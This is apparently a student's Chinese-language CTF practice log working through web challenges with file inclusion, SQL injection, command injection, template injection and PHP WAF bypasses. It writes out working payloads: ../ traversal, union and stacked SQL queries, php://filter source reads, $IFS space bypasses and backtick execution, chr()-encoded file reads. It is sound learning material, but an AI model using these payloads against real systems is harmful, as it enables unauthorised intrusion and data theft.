刷题1

[HCTF 2018]WarmUp 1 文件包含 这个按了下f12发现跳出了源码 $whitelist数组有两个值 一个source.php 一个hint.php 进入hint试一下 告诉我们flag在ffffllllaaaagggg中 但是一般来说没法直接访问 源码还有一部分
if (! empty($_REQUEST[‘file’]) //$_REQUEST[‘file’]值非空
&& is_string($_REQUEST[‘file’]) //$_REQUEST[‘file’]值为字符串
&& emmm::checkFile($_REQUEST[‘file’]) //能够通过checkFile函数校验
) {
include $_REQUEST[‘file’]; //包含$_REQUEST[‘file’]文件
exit;
} else {
echo “
<img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />”;
//打印滑稽表情
} 要传入file 首先不能为空 类型为字符串 能通过checkFile()函数
highlight_file(FILE); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = [“source”=>”source.php”,”hint”=>”hint.php”];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo “you can’t see it”;//打印”you can’t see it”
return false;//返回false
}

        if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
            return true;//返回true
        }

        $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);//url解码$page
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}  这边还有这段代码

第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中’?’前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
用文件包含 。。。。/source.php?file=source.php?../ffffllllaaaagggg 无返回值那就再加../多加几个说不定就出来了 最后总共五个就有显示flag

[极客大挑战 2019]EasySQL 1 sql注入 用个union select 就出来了 随便输入一个用户名 aaa’ union select 1,2,3 # 密码aaa 这关就很水 直接就显示flag了╮(╯▽╰)╭
[极客大挑战 2019]Havefun 1 sql注入 看源码
$cat=$_GET[‘cat’];
echo $cat;
if($cat==’dog’){
echo ‘Syc{cat_cat_cat_cat}’; 就试一下在后面加个?cat=dog ok flag显示了
[SUCTF 2019]EasySQL 1 sql注入 堆叠注入 输入1;show databases;show tables; 显示了一些东西但是没法查columns里面的数据 据说这关泄露的源码 但是我没找出来 所以看了下别人找出来的
$BlackList = “prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"“; 很长的一串黑名单 但是没过滤* 直接select就完事了 输入*,1;
因为内置的sql语句sql=”select”.sql=”select”.post[‘query’].”||flag from Flag”; 就直接给了flag了
[ACTF2020 新生赛]Include 1 这个页面右键看了下源码?file=flag 文件包含构造了一手pyload: ?file=php://filter/read=convert.base64-encode/resource=flag.php 出来一段base64 编码的东西解码一下就得到flag了
[极客大挑战 2019]Secret File 1 这个什么蒋璐源的秘密的 右键源码发现还有别的页面 点进去另一个页面 点了下secret 就没了what?∑( 口 || 老子看都没看就没了 用burp抓一下有secret的那个页面 然后转到repeater那边重发一波 又一波
发现了一个secr3t.php,访问 然后用上一关用过的神奇操作在后面加个
?file=php://filter/read=convert.base64-encode/resource=flag.php 得到一串 解码一波就能得到flag
[极客大挑战 2019]LoveSQL 1 sql注入 那一套组合拳 用union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()# 这个顺序变一下 然后union select 1,2,group_concat(id,username,password) from (表名叫什么来着忘了) 反正就能得到flag了
[GXYCTF2019]Ping Ping Ping 1 命令行注入 那么就用127.0.0.1 他的本机ip来搞他 127.0.0.1;ls 显示还有index.php flag.php
127.0.0.1;cat flag.php 显示fxck your space! 过滤了空格 注:%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以用来绕过过滤了空格的操作 可以试一下打开index.php的文件构造?ip=127.0.0.1;cat$IFS$1index.php 查看过滤名单
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 即可获取flag 注:此处将变量ab的位置互换是为了绕过字符串匹配
3.内联执行 (真正的大佬操作,给跪了)

      构造 /?ip=127.0.0.1;cat$IFS$9`ls`

      注:内联,就是将反引号内命令的输出作为输入执行。

      什么正则都是浮云,可能这就是大佬的世界吧。

[ACTF2020 新生赛]Exec 1 一个命令行注入 需要cat指令用来打开东西 就ls列出他的文件来 用几个../ 就能找到有flag的地方

[护网杯 2018]easy_tornado1 这个用的是tornado的服务器框架 hints那边有个提示md5(cookie_secret+md5(filename)) file?filename=/hints.txt&filehash=96981af0012f04a22b942f5bf957f7ef所以后面这串hash应该是这么来的
现在就是找出cookie_secret tornado 框架的官网找一下cookie_secret在RequestHandler.application.settings里
用handler.settings访问RequestHandler.application.settings 然后payload /error?msg= 得到cookie_secret 再flag那边得知fllllllllllllag 真flag在这 fllllllllllllag这个搞成MD5加密的然后和cookie_sceret组合一下MD5加密一波
file?filename=/fllllllllllllag.txt&filehash=34e4c6c1748d183dd644a5f0e9290b37
[RoarCTF 2019]Easy Calc 1 右键源码发现还有另一个php文件 叫calc.php $_GET[‘num’] payload构造就是?num=1;var_dump(scandir(chr(47)))
var_dump()用来打印
scandir()用来获取目录文件
chr(47)是 /的ASCII编码,因为 / 被过滤了,用这个什么都不显示。 var_dump(file_get_contents()) 配合ASCII编码使用chr() 里头写入数字
再就是num前有个空格,用来绕过waf(web防火墙)(为什么是waf?)。
这是php的机制,在传进php代码的url时,一些字符会被忽略或变成_。
因为php一般是这样$_GET[‘num’]获取url传进来的参数,当有一些奇怪的字符和参数写在一些时,如%[num%id,它会变成$_GET[‘num_id’]。所以在num前加个空格可以绕过waf并且php会把它当成正常的num使用,此时并不是’ num’而是‘num’。
这个之前sqlilabs出现过就是那个号称拥有最强防火墙的
打开flagg这个 ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
chr(47)——/
chr(102)——f
chr(49)——1
chr(97)——a
chr(103)——g
它们之间用.连接,因为是php。 就可以获取flag